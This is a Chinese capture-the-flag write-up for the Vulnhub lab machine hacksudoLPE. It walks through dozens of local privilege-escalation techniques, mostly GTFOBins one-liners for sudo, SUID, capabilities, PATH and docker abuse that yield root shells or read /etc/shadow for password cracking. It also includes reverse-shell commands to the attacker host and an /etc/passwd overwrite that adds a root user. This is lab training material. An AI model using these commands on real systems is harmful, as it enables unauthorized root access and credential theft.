Vulnhub靶机:hacksudoLPE

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:hacksudoLPE(10.0.2.47)

目标:获取靶机root权限和flag,该靶机是一个练习提权的靶场,主要以提权为主

靶机下载地址:https://www.vulnhub.com/entry/hacksudo-lpe,698/

二、信息收集

使用nmap主机发现靶机ip:10.0.2.47

Vulnhub靶机:hacksudoLPE_第1张图片

使用nmap端口扫描发现,靶机开放端口:22、80

Vulnhub靶机:hacksudoLPE_第2张图片

80端口:打开网站发现是一个登录页面,先查看源码发现了隐藏信息:


Username : admin

Password : hacksudo

Vulnhub靶机:hacksudoLPE_第3张图片
Vulnhub靶机:hacksudoLPE_第4张图片

使用获得的用户名密码登录网站

Vulnhub靶机:hacksudoLPE_第5张图片

三、提权

Challenge 1:Sudo滥用挑战

1)apt-get

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行apt-get

在这里插入图片描述

搜索利用方法:apt get | GTFOBins

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

在这里插入图片描述

获取flag:viluhacker

Vulnhub靶机:hacksudoLPE_第6张图片

所有flag都是一样的为/root/root.txt文件,后续不再附截图了

2)arp

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行arp

在这里插入图片描述

搜索利用方法:arp | GTFOBins

LFILE=/etc/shadow
sudo arp -v -f "$LFILE"

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格

Vulnhub靶机:hacksudoLPE_第7张图片

切换为root用户

在这里插入图片描述

获取flag:viluhacker

3)awk

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行awk

在这里插入图片描述

搜索利用方法:awk | GTFOBins

sudo awk 'BEGIN {system("/bin/sh")}'

在这里插入图片描述

获取flag:viluhacker

4)base32

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行base32

在这里插入图片描述

搜索利用方法:base32 | GTFOBins

LFILE=/etc/shadow
sudo base32 "$LFILE" | base32 --decode

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

5)base64

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行base64

在这里插入图片描述

搜索利用方法:base64 | GTFOBins

LFILE=/etc/shadow
sudo base64 "$LFILE" | base64 --decode

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

6)cat

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行cat

在这里插入图片描述

搜索利用方法:cat | GTFOBins

LFILE=/etc/shadow
sudo cat "$LFILE"

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

7)comm

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行comm

在这里插入图片描述

搜索利用方法:comm | GTFOBins

LFILE=/etc/shadow
sudo comm $LFILE /dev/null 2>/dev/null

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

8)cp

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行cp

在这里插入图片描述

搜索利用方法:cp | GTFOBins

LFILE=/etc/shadow
sudo cp "$LFILE" /dev/stdout

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

9)curl

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行curl

在这里插入图片描述

搜索利用方法:curl | GTFOBins

LFILE=/etc/shadow
sudo curl file://$LFILE

Vulnhub靶机:hacksudoLPE_第8张图片

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

10)cut

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行cut

在这里插入图片描述

搜索利用方法:cut | GTFOBins

sudo cut -d "" -f1 /etc/shadow

Vulnhub靶机:hacksudoLPE_第9张图片

获取flag:viluhacker

11)dash

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行dash

在这里插入图片描述

搜索利用方法:dash | GTFOBins

sudo dash

在这里插入图片描述

获取flag:viluhacker

12)date

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行date

在这里插入图片描述

搜索利用方法:date | GTFOBins

LFILE=/etc/shadow
sudo date -f $LFILE

Vulnhub靶机:hacksudoLPE_第10张图片

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

13)diff

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行diff

在这里插入图片描述

搜索利用方法:diff | GTFOBins

LFILE=/etc/shadow
sudo diff --line-format=%L /dev/null $LFILE

Vulnhub靶机:hacksudoLPE_第11张图片

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

14)find

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行find

Vulnhub靶机:hacksudoLPE_第12张图片

搜索利用方法:find | GTFOBins

sudo find . -exec /bin/sh \; -quit

在这里插入图片描述

获取flag:viluhacker

15)ftp

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行ftp

在这里插入图片描述

搜索利用方法:ftp | GTFOBins

sudo ftp
!/bin/sh

Vulnhub靶机:hacksudoLPE_第13张图片

获取flag:viluhacker

16)gcc

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行gcc

Vulnhub靶机:hacksudoLPE_第14张图片

搜索利用方法:gcc | GTFOBins

sudo gcc -wrapper /bin/sh,-s .

在这里插入图片描述

获取flag:viluhacker

17)gdb

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行gdb

Vulnhub靶机:hacksudoLPE_第15张图片

搜索利用方法:gdb | GTFOBins

sudo gdb -nx -ex '!sh' -ex quit

Vulnhub靶机:hacksudoLPE_第16张图片

获取flag:viluhacker

18)ip

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行ip

Vulnhub靶机:hacksudoLPE_第17张图片

搜索利用方法:ip | GTFOBins

LFILE=/etc/shadow
sudo ip -force -batch "$LFILE"

Vulnhub靶机:hacksudoLPE_第18张图片

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

19)pip

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行pip

在这里插入图片描述

搜索利用方法:pip | GTFOBins

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

Vulnhub靶机:hacksudoLPE_第19张图片

靶机没有安装pip,提权不了

20)perl

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行perl

在这里插入图片描述

搜索利用方法:perl | GTFOBins

sudo perl -e 'exec "/bin/sh";'

在这里插入图片描述

获取flag:viluhacker

21)socket

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行socket

在这里插入图片描述

搜索利用方法:socket | GTFOBins

攻击机执行:
nc -l -p 12345

靶机执行:
RHOST=10.0.2.15
RPORT=12345
sudo socket -qvp '/bin/sh -i' $RHOST $RPORT

在这里插入图片描述
在这里插入图片描述

获取flag:viluhacker

22)vi

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行vi

在这里插入图片描述

搜索利用方法:vi | GTFOBins

sudo vi -c ':!/bin/sh' /dev/null

在这里插入图片描述

获取flag:viluhacker

23)view

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行view

在这里插入图片描述

搜索利用方法:view | GTFOBins

sudo view -c ':!/bin/sh'

在这里插入图片描述

获取flag:viluhacker

24)wget

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行wget

在这里插入图片描述

搜索利用方法:wget | GTFOBins

TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/sh\n/bin/sh 1>&0' >$TF
sudo wget --use-askpass=$TF 0

Vulnhub靶机:hacksudoLPE_第20张图片

获取flag:viluhacker

25)watch

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行watch

在这里插入图片描述

搜索利用方法:watch | GTFOBins

sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'

在这里插入图片描述

获取flag:viluhacker

26)xxd

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行xxd

在这里插入图片描述

搜索利用方法:xxd | GTFOBins

LFILE=/etc/shadow
sudo xxd "$LFILE" | xxd -r

Vulnhub靶机:hacksudoLPE_第21张图片

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

27)zip

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行zip

在这里插入图片描述

搜索利用方法:zip | GTFOBins

TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF

Vulnhub靶机:hacksudoLPE_第22张图片

获取flag:viluhacker

Challenge 2:SUID滥用挑战

1)ar

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

Vulnhub靶机:hacksudoLPE_第23张图片

搜索利用方法:ar | GTFOBins

TF=$(mktemp -u)
LFILE=/etc/shadow
./ar r "$TF" "$LFILE"
cat "$TF"

Vulnhub靶机:hacksudoLPE_第24张图片

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

2)ash

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

Vulnhub靶机:hacksudoLPE_第25张图片

r00t和ash文件字节数一样,r00t文件应该是ash

Vulnhub靶机:hacksudoLPE_第26张图片

搜索利用方法:ash | GTFOBins

./r00t -p

在这里插入图片描述

获取flag:viluhacker

3)atobm

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

Vulnhub靶机:hacksudoLPE_第27张图片

未发现该程序

搜索利用方法:atobm | GTFOBins

LFILE=/etc/shadow
./atobm $LFILE 2>&1 | awk -F "'" '{printf "%s", $2}'
4)base32

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

Vulnhub靶机:hacksudoLPE_第28张图片

发现该程序是为base32

Vulnhub靶机:hacksudoLPE_第29张图片

搜索利用方法:base32 | GTFOBins

LFILE=/etc/shadow
./dont "$LFILE" | base32 --decode

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

5)bash

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

Vulnhub靶机:hacksudoLPE_第30张图片

搜索利用方法:bash | GTFOBins

./bash -p

在这里插入图片描述

获取flag:viluhacker

6)cat

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

Vulnhub靶机:hacksudoLPE_第31张图片

发现该程序是为cat

Vulnhub靶机:hacksudoLPE_第32张图片

搜索利用方法:cat | GTFOBins

LFILE=/etc/shadow
./hackme "$LFILE"

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

7)chmod

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

Vulnhub靶机:hacksudoLPE_第33张图片

发现该程序是为chmod

Vulnhub靶机:hacksudoLPE_第34张图片

搜索利用方法:chmod | GTFOBins

LFILE=/etc/shadow
./run 6777 $LFILE
cat /etc/shadow

Vulnhub靶机:hacksudoLPE_第35张图片

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

8)chroot

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

Vulnhub靶机:hacksudoLPE_第36张图片

发现该程序是chroot

Vulnhub靶机:hacksudoLPE_第37张图片

搜索利用方法:chroot | GTFOBins

./rootme / /bin/sh -p

在这里插入图片描述

获取flag:viluhacker

9)cp

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

Vulnhub靶机:hacksudoLPE_第38张图片

发现该程序是cp

Vulnhub靶机:hacksudoLPE_第39张图片
Vulnhub靶机:hacksudoLPE_第40张图片

搜索利用方法:cp | GTFOBins

LFILE=/etc/shadow
./do "$LFILE" /dev/stdout

Vulnhub靶机:hacksudoLPE_第41张图片

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

10)cpulimit

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

Vulnhub靶机:hacksudoLPE_第42张图片

发现该程序是cpulimit

Vulnhub靶机:hacksudoLPE_第43张图片

搜索利用方法:cpulimit | GTFOBins

./take -l 100 -f -- /bin/sh -p

在这里插入图片描述

获取flag:viluhacker

11)cut

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

Vulnhub靶机:hacksudoLPE_第44张图片

发现该程序是cut

在这里插入图片描述
Vulnhub靶机:hacksudoLPE_第45张图片

搜索利用方法:cut | GTFOBins

LFILE=/etc/shadow
./cut -d "" -f1 "$LFILE"

Vulnhub靶机:hacksudoLPE_第46张图片

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

12)dash

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

Vulnhub靶机:hacksudoLPE_第47张图片

搜索利用方法:dash | GTFOBins

./shell -p

在这里插入图片描述

获取flag:viluhacker

13)date

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

Vulnhub靶机:hacksudoLPE_第48张图片

发现该程序为date

Vulnhub靶机:hacksudoLPE_第49张图片
Vulnhub靶机:hacksudoLPE_第50张图片

搜索利用方法:date | GTFOBins

./date -f /etc/shadow

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

14)make

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

Vulnhub靶机:hacksudoLPE_第51张图片

发现该程序为make

Vulnhub靶机:hacksudoLPE_第52张图片

搜索利用方法:make | GTFOBins

COMMAND='/bin/sh -p'
./fast -s --eval=$'x:\n\t-'"$COMMAND"

在这里插入图片描述

获取flag:viluhacker

Challenge 3:Capabilities滥用挑战

1)gdb

登录虚拟终端后,getcap -r / 2>/dev/null查看可执行的文件,来获取内核权限

发现没有回显,getcap 命令不存在

在这里插入图片描述

我们先看一下当前用户home目录下所有文件,发现在./capabiliti/rip4/hack8文件夹里面有一个gdb文件,根据挑战提示,应该是要用gdb文件进行提权

ls -R -la

Vulnhub靶机:hacksudoLPE_第53张图片

搜索利用方法:gdb | GTFOBins

./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

Vulnhub靶机:hacksudoLPE_第54张图片

获取flag:viluhacker

2)node

登录虚拟终端后,ls -R -la查看当前用户home目录下所有文件,发现一个node文件,根据挑战提示,应该是要用node文件进行提权

在这里插入图片描述

搜索利用方法:node | GTFOBins

./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

在这里插入图片描述

获取flag:viluhacker

3)perl

登录虚拟终端后,ls -R -la查看当前用户home目录下所有文件,发现一个perl文件,根据挑战提示,应该是要用perl文件进行提权

Vulnhub靶机:hacksudoLPE_第55张图片

搜索利用方法:perl | GTFOBins

./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

在这里插入图片描述

获取flag:viluhacker

4)php

登录虚拟终端后,ls -R -la查看当前用户home目录下所有文件,发现两个php文件,根据挑战提示,应该是要用php文件进行提权

Vulnhub靶机:hacksudoLPE_第56张图片
在这里插入图片描述

搜索利用方法:php | GTFOBins

CMD="/bin/sh"
./php -r "posix_setuid(0); system('$CMD');"

Vulnhub靶机:hacksudoLPE_第57张图片

获取flag:viluhacker

5)python

登录虚拟终端后,ls -R -la查看当前用户home目录下所有文件,发现一个python文件,根据挑战提示,应该是要用python文件进行提权

Vulnhub靶机:hacksudoLPE_第58张图片

搜索利用方法:python | GTFOBins

./python -c 'import os; os.setuid(0); os.system("/bin/sh")'

在这里插入图片描述

获取flag:viluhacker

6)ruby

登录虚拟终端后,ls -R -la查看当前用户home目录下所有文件,但该用户home文件夹下的文件夹太多了,我们直接用find命令进行查找find ./ -name ruby,发现一个ruby文件,根据挑战提示,应该是要用ruby文件进行提权

在这里插入图片描述

搜索利用方法:ruby | GTFOBins

./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

在这里插入图片描述

获取flag:viluhacker

7)python3

登录虚拟终端后,ls -R -la查看当前用户home目录下所有文件,发现一个python3文件,根据挑战提示,应该是要用python3文件进行提权

Vulnhub靶机:hacksudoLPE_第59张图片

搜索利用方法:python | GTFOBins

./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

在这里插入图片描述

获取flag:viluhacker

Challenge 4:PATH 变量滥用

1)apt-get

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

Vulnhub靶机:hacksudoLPE_第60张图片

直接执行该文件看看,发现该文件调用了apt-get命令

Vulnhub靶机:hacksudoLPE_第61张图片

可以用strings查看该文件包含的字符串strings /home/user53/shell

Vulnhub靶机:hacksudoLPE_第62张图片

可以通过更改系统的环境变量来进行提权

cd /tmp
echo "/bin/sh" > apt-get
chmod 777 apt-get
echo $PATH
export PATH=/tmp:$PATH
/home/user53/shell

Vulnhub靶机:hacksudoLPE_第63张图片

获取flag:viluhacker

2)ftp

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

Vulnhub靶机:hacksudoLPE_第64张图片

可以用strings查看该文件包含的字符串strings /home/user54/run

Vulnhub靶机:hacksudoLPE_第65张图片

直接执行看看

在这里插入图片描述

应该是该文件先设置uid然后调用了ftp命令,可以通过更改系统的环境变量来进行提权

cd /tmp
echo "/bin/sh" > ftp
chmod 777 ftp
export PATH=/tmp:$PATH
/home/user54/run

Vulnhub靶机:hacksudoLPE_第66张图片

获取flag:viluhacker

Challenge 5:可写文件滥用

1)/etc/passwd

登录虚拟终端后,查看/etc目录,并未发现该用户对passwd文件具有写权限,但在该用户的home目录下发现具有suid权限的curl文件

Vulnhub靶机:hacksudoLPE_第67张图片
Vulnhub靶机:hacksudoLPE_第68张图片

可以利用curl文件读取shadow文件进行破解提权,但本次挑战既然是/etc/passwd可写文件滥用,那我们就通过写入/etc/passwd文件的方式进行提权

利用Perl和crypt来使用salt值为我们的密码生成哈希值

perl -le 'print crypt("123456","addedsalt")'

将靶机的passwd复制到攻击机,在passwd添加一条数据,用户名:test 密码: 123456 登录主机,登录成功后,是 root 权限

test:adrla7IBSfTZQ:0:0:User_like_root:/root:/bin/bash

使用curl命令将passwd上传到靶机,覆盖靶机passwd文件

查找curl具体用法:curl | GTFOBins

cp /etc/passwd /tmp/passwd.bak
URL=http://10.0.2.15/passwd
LFILE=/etc/passwd
./curl $URL -o $LFILE

Vulnhub靶机:hacksudoLPE_第69张图片

查看/etc/passwd发现存在test用户

Vulnhub靶机:hacksudoLPE_第70张图片

切换为test用户,为root权限

在这里插入图片描述

获取flag:viluhacker

2)script

登录虚拟终端后,ls -la查看当前用户home目录下的文件,发现一个writable.py文件,该文件具有suid权限

Vulnhub靶机:hacksudoLPE_第71张图片

查看writable.py文件的内容,发现该文件调用了os、sys模块,并且尝试修改该文件,发现没有修改权限

Vulnhub靶机:hacksudoLPE_第72张图片

想到调用了os、sys模块,是不是可以修改os或sys模块来达到提权的目的。未发现可编辑的模块。也可能是我思考的方向不对。

扩展:user59用户提权

登录虚拟终端后,查看计划任务:cat /etc/crontab,发现每分钟会以root权限执行/home/user59/cleanup.py文件

Vulnhub靶机:hacksudoLPE_第73张图片

查看该脚本文件,发现我们有该文件的编辑权限

Vulnhub靶机:hacksudoLPE_第74张图片

可以修改该文件进行提权

bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'

Vulnhub靶机:hacksudoLPE_第75张图片
Vulnhub靶机:hacksudoLPE_第76张图片

获取flag:viluhacker

Challenge 6:文件读取滥用

1)cpio

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

Vulnhub靶机:hacksudoLPE_第77张图片

搜索利用方法:cpio | GTFOBins,可以读取任意文件

LFILE=/etc/shadow
TF=$(mktemp -d)
echo "$LFILE" | ./cpio -R $UID -dp $TF
cat "$TF/$LFILE"

Vulnhub靶机:hacksudoLPE_第78张图片

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

2)git

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

Vulnhub靶机:hacksudoLPE_第79张图片

搜索利用方法:git | GTFOBins,可以读取任意文件

LFILE=/etc/sh
./git diff /dev/null $LFILE

Vulnhub靶机:hacksudoLPE_第80张图片

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

Challenge 7:Docker 滥用

1)docker

登录虚拟终端后,使用id命令发现用户在docker组里面,可以使用docker进行提权

在这里插入图片描述

使用命令:docker images,用于查看本地已下载的镜像,刚开始镜像是不存在的,需要自己进行导入docker pull alpine

由于我的环境靶机和互联网不通,我使用的是离线导入,使用安装登录docker的虚拟机导入镜像,然后将镜像打包上传到靶机

主机导入镜像并打包

sudo docker pull alpine
docker save alpine:latest -o /home/huang/alpine.tar

Vulnhub靶机:hacksudoLPE_第81张图片

靶机离线导入镜像

docker load -i alpine.tar

Vulnhub靶机:hacksudoLPE_第82张图片

搜索利用方法:docker | GTFOBins

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

在这里插入图片描述

Challenge 8:通配符滥用

1)Wildcard

尝试登录虚拟终端,发现不存在该用户名wildcard,没有环境。

靶机上倒是有用户名user61,可能是通配符提权的环境,但登录进去没有找到提权思路。

你可能感兴趣的:(靶场,web安全)